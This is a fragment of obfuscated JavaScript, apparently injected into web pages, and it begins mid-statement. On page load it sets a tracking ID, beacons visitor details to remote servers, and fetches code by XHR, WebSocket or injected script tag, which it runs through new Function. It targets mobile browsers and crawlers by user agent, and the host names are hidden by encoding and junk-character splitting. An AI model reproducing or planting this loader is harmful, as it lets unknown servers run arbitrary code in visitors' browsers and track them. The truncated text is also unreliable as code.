e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();